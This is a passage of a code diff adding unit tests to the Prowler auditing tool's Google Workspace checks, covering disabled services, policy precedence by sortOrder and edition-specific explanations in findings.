+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled_test.py
index 3a8fd0d337..56484f8f4d 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_unauthenticated_email_protection_enabled/gmail_unauthenticated_email_protection_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -127,6 +128,38 @@ class TestGmailUnauthenticatedEmailProtectionEnabled:
assert findings[0].status == "FAIL"
assert "insecure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_unauthenticated_email_protection_enabled.gmail_unauthenticated_email_protection_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_unauthenticated_email_protection_enabled.gmail_unauthenticated_email_protection_enabled import (
+ gmail_unauthenticated_email_protection_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED", detect_unauthenticated_emails=False
+ )
+
+ findings = gmail_unauthenticated_email_protection_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled_test.py b/tests/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled_test.py
index 70fc539836..3d3cdde1d7 100644
--- a/tests/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled_test.py
+++ b/tests/providers/googleworkspace/services/gmail/gmail_untrusted_link_warnings_enabled/gmail_untrusted_link_warnings_enabled_test.py
@@ -3,6 +3,7 @@ from unittest.mock import patch
from prowler.providers.googleworkspace.services.gmail.gmail_service import GmailPolicies
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -97,6 +98,39 @@ class TestGmailUntrustedLinkWarningsEnabled:
assert findings[0].status == "FAIL"
assert "insecure default" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.gmail.gmail_untrusted_link_warnings_enabled.gmail_untrusted_link_warnings_enabled.gmail_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.gmail.gmail_untrusted_link_warnings_enabled.gmail_untrusted_link_warnings_enabled import (
+ gmail_untrusted_link_warnings_enabled,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GmailPolicies(
+ service_state="DISABLED",
+ enable_aggressive_warnings_on_untrusted_links=False,
+ )
+
+ findings = gmail_untrusted_link_warnings_enabled().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Gmail is turned off for everyone in domain {DOMAIN}, "
+ f"so no user mailbox receives mail through Gmail."
+ )
+
def test_no_findings_when_fetch_failed(self):
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted_test.py b/tests/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted_test.py
index b91457f7b0..1344653a50 100644
--- a/tests/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted_test.py
+++ b/tests/providers/googleworkspace/services/groups/groups_creation_restricted/groups_creation_restricted_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.groups.groups_service import (
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -244,6 +245,80 @@ class TestGroupsCreationRestricted:
assert "external members" in findings[0].status_extended
assert "incoming email" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_and_existing_groups_are_restricted(self):
+ """Off for everyone makes creation moot; existing groups still have to keep outsiders out"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_creation_restricted.groups_creation_restricted.groups_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_creation_restricted.groups_creation_restricted import (
+ groups_creation_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GroupsPolicies(
+ service_state="DISABLED",
+ create_groups_access_level="USERS_IN_DOMAIN",
+ owners_can_allow_external_members=False,
+ owners_can_allow_incoming_mail_from_public=False,
+ )
+
+ findings = groups_creation_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Groups for Business is turned off for everyone in domain {DOMAIN}, "
+ f"so no group can be created, and existing groups allow no external "
+ f"members and no incoming email from outside."
+ )
+
+ def test_fail_when_the_service_is_off_but_existing_groups_accept_outsiders(self):
+ """Existing groups stay active when the service is off, so their email boundary still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_creation_restricted.groups_creation_restricted.groups_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_creation_restricted.groups_creation_restricted import (
+ groups_creation_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GroupsPolicies(
+ service_state="DISABLED",
+ create_groups_access_level="USERS_IN_DOMAIN",
+ owners_can_allow_external_members=True,
+ owners_can_allow_incoming_mail_from_public=True,
+ )
+
+ findings = groups_creation_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "group creation" not in findings[0].status_extended
+ assert findings[0].status_extended == (
+ f"Groups for Business is turned off for everyone in domain {DOMAIN}, "
+ f"so no group can be created, but existing groups remain active and "
+ f"are not fully restricted: group owners can allow external members; "
+ f"group owners can allow incoming email from outside the organization."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/groups/groups_external_access_restricted/groups_external_access_restricted_test.py b/tests/providers/googleworkspace/services/groups/groups_external_access_restricted/groups_external_access_restricted_test.py
index ec25683728..fce5ebcc33 100644
--- a/tests/providers/googleworkspace/services/groups/groups_external_access_restricted/groups_external_access_restricted_test.py
+++ b/tests/providers/googleworkspace/services/groups/groups_external_access_restricted/groups_external_access_restricted_test.py
@@ -105,6 +105,35 @@ class TestGroupsExternalAccessRestricted:
assert findings[0].status == "PASS"
assert "secure default" in findings[0].status_extended
+ def test_evaluates_the_setting_when_the_service_is_off_for_everyone(self):
+ """Existing groups stay active when Groups for Business is off, so the stored setting still counts"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_external_access_restricted.groups_external_access_restricted.groups_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_external_access_restricted.groups_external_access_restricted import (
+ groups_external_access_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GroupsPolicies(
+ service_state="DISABLED", collaboration_capability="ANYONE_CAN_POST"
+ )
+
+ findings = groups_external_access_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "turned off" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/groups/groups_service_test.py b/tests/providers/googleworkspace/services/groups/groups_service_test.py
index 86b031a8a2..a00af52482 100644
--- a/tests/providers/googleworkspace/services/groups/groups_service_test.py
+++ b/tests/providers/googleworkspace/services/groups/groups_service_test.py
@@ -1,6 +1,7 @@
from unittest.mock import MagicMock, patch
from tests.providers.googleworkspace.googleworkspace_fixtures import (
+ ROOT_ORG_UNIT_ID,
set_mocked_googleworkspace_provider,
)
@@ -64,6 +65,164 @@ class TestGroupsService:
assert groups.policies.owners_can_hide_groups is False
assert groups.policies.new_groups_are_hidden is False
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/groups_for_business.groups_sharing",
+ "value": {"createGroupsAccessLevel": "ADMIN_ONLY"},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00002},
+ "setting": {
+ "type": "settings/groups_for_business.groups_sharing",
+ "value": {"createGroupsAccessLevel": "USERS_IN_DOMAIN"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_service import (
+ Groups,
+ )
+
+ groups = Groups(mock_provider)
+
+ assert groups.policies_fetched is True
+ assert groups.policies.create_groups_access_level == "ADMIN_ONLY"
+
+ def test_off_for_everyone_when_off_at_the_root_with_no_override(self):
+ """A root-level DISABLED status with no org unit or group override is off for everyone"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {
+ "orgUnit": f"orgUnits/{ROOT_ORG_UNIT_ID}",
+ "sortOrder": 201.00122,
+ },
+ "setting": {
+ "type": "settings/groups_for_business.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_service import (
+ Groups,
+ )
+
+ fetched = Groups(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is False
+ assert fetched.policies.off_for_everyone is True
+
+ def test_reads_the_service_status_and_its_overrides(self):
+ """Off at the customer level only counts when no org unit or group turns the service back on"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00122},
+ "setting": {
+ "type": "settings/groups_for_business.service_status",
+ "value": {"serviceState": "DISABLED"},
+ },
+ },
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": "orgUnits/sub", "sortOrder": 301.00122},
+ "setting": {
+ "type": "settings/groups_for_business.service_status",
+ "value": {"serviceState": "ENABLED"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_service import (
+ Groups,
+ )
+
+ fetched = Groups(mock_provider)
+
+ assert fetched.policies_fetched is True
+ assert fetched.policies.service_state == "DISABLED"
+ assert fetched.policies.service_state_overridden is True
+ assert fetched.policies.off_for_everyone is False
+
def test_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted_test.py b/tests/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted_test.py
index 761073cc89..f4105c4e3b 100644
--- a/tests/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted_test.py
+++ b/tests/providers/googleworkspace/services/groups/groups_view_conversations_restricted/groups_view_conversations_restricted_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.groups.groups_service import (
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -138,6 +139,39 @@ class TestGroupsViewConversationsRestricted:
assert "default" in findings[0].status_extended
assert "all organization users" in findings[0].status_extended
+ def test_pass_when_the_service_is_off_for_everyone(self):
+ """A setting that only acts while the service is on has no effect once the service is off"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.groups.groups_view_conversations_restricted.groups_view_conversations_restricted.groups_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.groups.groups_view_conversations_restricted.groups_view_conversations_restricted import (
+ groups_view_conversations_restricted,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = GroupsPolicies(
+ service_state="DISABLED",
+ view_topics_default_access_level="DOMAIN_USERS",
+ )
+
+ findings = groups_view_conversations_restricted().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+ assert findings[0].status_extended == (
+ f"Groups for Business is turned off for everyone in domain {DOMAIN}, "
+ f"so no group conversation can be viewed in the Google Groups app."
+ )
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/marketplace/marketplace_service_test.py b/tests/providers/googleworkspace/services/marketplace/marketplace_service_test.py
index 8c549cd0d7..cac2143cd7 100644
--- a/tests/providers/googleworkspace/services/marketplace/marketplace_service_test.py
+++ b/tests/providers/googleworkspace/services/marketplace/marketplace_service_test.py
@@ -142,6 +142,59 @@ class TestMarketplaceService:
assert marketplace.policies_fetched is True
assert marketplace.policies.access_level == "ALLOW_NONE"
+ def test_the_admin_policy_outranks_a_system_default_returned_after_it(self):
+ """The greatest sortOrder is the value in force, whatever order the API lists them in"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ mock_service = MagicMock()
+ mock_policies_list = MagicMock()
+ mock_policies_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/workspace_marketplace.apps_access_options",
+ "value": {"accessLevel": "ALLOW_LISTED_APPS"},
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"sortOrder": 100.00002},
+ "setting": {
+ "type": "settings/workspace_marketplace.apps_access_options",
+ "value": {"accessLevel": "ALLOW_ALL"},
+ },
+ },
+ ]
+ }
+ mock_service.policies().list.return_value = mock_policies_list
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.marketplace.marketplace_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.marketplace.marketplace_service import (
+ Marketplace,
+ )
+
+ marketplace = Marketplace(mock_provider)
+
+ assert marketplace.policies_fetched is True
+ assert marketplace.policies.access_level == "ALLOW_LISTED_APPS"
+
def test_fetch_policies_empty_response(self):
"""Test handling empty policies response"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/security/googleworkspace_security_service_test.py b/tests/providers/googleworkspace/services/security/googleworkspace_security_service_test.py
index e17614de0d..8469271321 100644
--- a/tests/providers/googleworkspace/services/security/googleworkspace_security_service_test.py
+++ b/tests/providers/googleworkspace/services/security/googleworkspace_security_service_test.py
@@ -239,6 +239,115 @@ class TestSecurityService:
assert security.policies.google_services_restricted is True
assert security.policies.dlp_drive_rules_exist is True
+ def test_the_admin_policy_outranks_the_system_defaults_returned_after_it(self):
+ """The API returns Google's SYSTEM defaults next to the ADMIN policy saved in the console.
+
+ The greatest sortOrder is the value in force, whatever the order the
+ API lists them in. This is the shape of a real tenant, where the last
+ policy returned used to overwrite the admin's password policy.
+ """
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.audit_config = {}
+ mock_provider.fixer_config = {}
+ mock_session = MagicMock()
+ mock_session.credentials = MagicMock()
+ mock_provider.session = mock_session
+
+ root_ou = f"orgUnits/{ROOT_ORG_UNIT_ID}"
+ mock_security_list = MagicMock()
+ mock_security_list.execute.return_value = {
+ "policies": [
+ {
+ "type": "ADMIN",
+ "policyQuery": {"orgUnit": root_ou, "sortOrder": 201.00131},
+ "setting": {
+ "type": "settings/security.password",
+ "value": {
+ "allowedStrength": "STRONG",
+ "minimumLength": 12,
+ "maximumLength": 100,
+ "enforceRequirementsAtLogin": True,
+ "allowReuse": False,
+ "expirationDuration": "15552000s",
+ },
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"orgUnit": root_ou, "sortOrder": 100.00001},
+ "setting": {
+ "type": "settings/security.password",
+ "value": {
+ "allowedStrength": "STRONG",
+ "minimumLength": 8,
+ "maximumLength": 100,
+ "enforceRequirementsAtLogin": False,
+ "allowReuse": False,
+ "expirationDuration": "0s",
+ },
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"orgUnit": root_ou, "sortOrder": 100.00003},
+ "setting": {
+ "type": "settings/security.password",
+ "value": {
+ "allowedStrength": "STRONG",
+ "minimumLength": 8,
+ "maximumLength": 100,
+ "enforceRequirementsAtLogin": False,
+ "allowReuse": False,
+ "expirationDuration": "0s",
+ },
+ },
+ },
+ {
+ "type": "SYSTEM",
+ "policyQuery": {"orgUnit": root_ou, "sortOrder": 100.00003},
+ "setting": {
+ "type": "settings/security.session_controls",
+ "value": {"webSessionDuration": "1209600s"},
+ },
+ },
+ ]
+ }
+ mock_api_controls_list = MagicMock()
+ mock_api_controls_list.execute.return_value = {"policies": []}
+ mock_dlp_list = MagicMock()
+ mock_dlp_list.execute.return_value = {"policies": []}
+ mock_service = MagicMock()
+ mock_service.policies().list.side_effect = [
+ mock_security_list,
+ mock_api_controls_list,
+ mock_dlp_list,
+ ]
+ mock_service.policies().list_next.return_value = None
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_service.GoogleWorkspaceService._build_service",
+ return_value=mock_service,
+ ),
+ ):
+ from prowler.providers.googleworkspace.services.security.security_service import (
+ Security,
+ )
+
+ security = Security(mock_provider)
+
+ assert security.policies_fetched is True
+ assert security.policies.password_minimum_length == 12
+ assert security.policies.password_enforce_at_login is True
+ assert security.policies.password_allow_reuse is False
+ assert security.policies.password_expiration_duration == "15552000s"
+ assert security.policies.web_session_duration == "1209600s"
+ assert security.policies.overridden_settings == []
+
def test_fetch_policies_empty_response(self):
"""Test handling empty policies response across all namespaces"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured_test.py b/tests/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured_test.py
index 402c7b4f2d..4f9fcad244 100644
--- a/tests/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured_test.py
+++ b/tests/providers/googleworkspace/services/security/security_dlp_drive_rules_configured/security_dlp_drive_rules_configured_test.py
@@ -5,6 +5,7 @@ from prowler.providers.googleworkspace.services.security.security_service import
)
from tests.providers.googleworkspace.googleworkspace_fixtures import (
CUSTOMER_ID,
+ DOMAIN,
set_mocked_googleworkspace_provider,
)
@@ -97,6 +98,95 @@ class TestSecurityDlpDriveRulesConfigured:
assert findings[0].status == "FAIL"
assert "No active" in findings[0].status_extended
+ def test_fail_on_an_edition_without_drive_dlp_says_so(self):
+ """Google only sells Drive data protection on some editions; the finding names the tenant's edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured import (
+ security_dlp_drive_rules_configured,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(dlp_drive_rules_exist=None)
+ mock_provider.editions = ["Business Starter"]
+
+ findings = security_dlp_drive_rules_configured().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert findings[0].status_extended == (
+ f"No active DLP policies for Google Drive are configured in domain "
+ f"{DOMAIN}. DLP rules should be configured to detect and prevent "
+ f"sharing of sensitive information through Drive. This may be "
+ f"expected because Drive data protection rules are not available "
+ f"on the Google Workspace Business Starter edition."
+ )
+
+ def test_fail_with_cloud_identity_premium_gives_no_excuse(self):
+ """Cloud Identity Premium brings DLP for Drive to a Workspace license that lacks it"""
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured import (
+ security_dlp_drive_rules_configured,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(dlp_drive_rules_exist=None)
+ mock_provider.editions = ["Business Starter", "Cloud Identity Premium"]
+
+ findings = security_dlp_drive_rules_configured().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "This may be expected" not in findings[0].status_extended
+
+ def test_fail_on_an_edition_with_drive_dlp_gives_no_excuse(self):
+ mock_provider = set_mocked_googleworkspace_provider()
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_dlp_drive_rules_configured.security_dlp_drive_rules_configured import (
+ security_dlp_drive_rules_configured,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(dlp_drive_rules_exist=None)
+ mock_provider.editions = ["Business Starter", "Enterprise Standard"]
+
+ findings = security_dlp_drive_rules_configured().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "This may be expected" not in findings[0].status_extended
+
def test_no_findings_when_fetch_failed(self):
"""Test no findings returned when the API fetch failed"""
mock_provider = set_mocked_googleworkspace_provider()
diff --git a/tests/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited_test.py b/tests/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited_test.py
index 668b6aea78..55c95bf67e 100644
--- a/tests/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited_test.py
+++ b/tests/providers/googleworkspace/services/security/security_session_duration_limited/security_session_duration_limited_test.py
@@ -1,4 +1,4 @@
-from unittest.mock import patch
+from unittest.mock import PropertyMock, patch
from prowler.providers.googleworkspace.services.security.security_service import (
SecurityPolicies,
@@ -41,6 +41,35 @@ class TestSecuritySessionDurationLimited:
assert findings[0].resource_id == "securityPolicies"
assert findings[0].customer_id == CUSTOMER_ID
+ def test_pass_does_not_read_the_editions(self):
+ """A passing tenant must not trigger the Licensing API lookup"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ type(mock_provider).editions = PropertyMock(
+ side_effect=AssertionError("editions read on a passing finding")
+ )
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited import (
+ security_session_duration_limited,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(web_session_duration="43200s")
+
+ findings = security_session_duration_limited().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "PASS"
+
def test_fail_long_session_duration(self):
"""Test FAIL when session duration is too long (336 hours)"""
mock_provider = set_mocked_googleworkspace_provider()
@@ -97,6 +126,98 @@ class TestSecuritySessionDurationLimited:
assert findings[0].status == "FAIL"
assert "not explicitly configured" in findings[0].status_extended
+ def test_fail_on_an_edition_without_session_control_says_so(self):
+ """Google sells session control from Business Plus up; the default-duration finding names the edition"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Starter"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited import (
+ security_session_duration_limited,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(web_session_duration=None)
+
+ findings = security_session_duration_limited().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert findings[0].status_extended.endswith(
+ "Web session duration should be 12 hours or less. This may be "
+ "expected because Google session control is not available on the "
+ "Google Workspace Business Starter edition."
+ )
+
+ def test_fail_long_session_on_an_edition_without_session_control_says_so(self):
+ """The explicit-duration finding carries the same edition explanation"""
+ mock_provider = set_mocked_googleworkspace_provider()
+ mock_provider.editions = ["Business Standard"]
+
+ with (
+ patch(
+ "prowler.providers.common.provider.Provider.get_global_provider",
+ return_value=mock_provider,
+ ),
+ patch(
+ "prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited.security_client"
+ ) as mock_client,
+ ):
+ from prowler.providers.googleworkspace.services.security.security_session_duration_limited.security_session_duration_limited import (
+ security_session_duration_limited,
+ )
+
+ mock_client.provider = mock_provider
+ mock_client.policies_fetched = True
+ mock_client.policies = SecurityPolicies(web_session_duration="1209600s")
+
+ findings = security_session_duration_limited().execute()
+
+ assert len(findings) == 1
+ assert findings[0].status == "FAIL"
+ assert "336 hours" in findings[0].status_extended
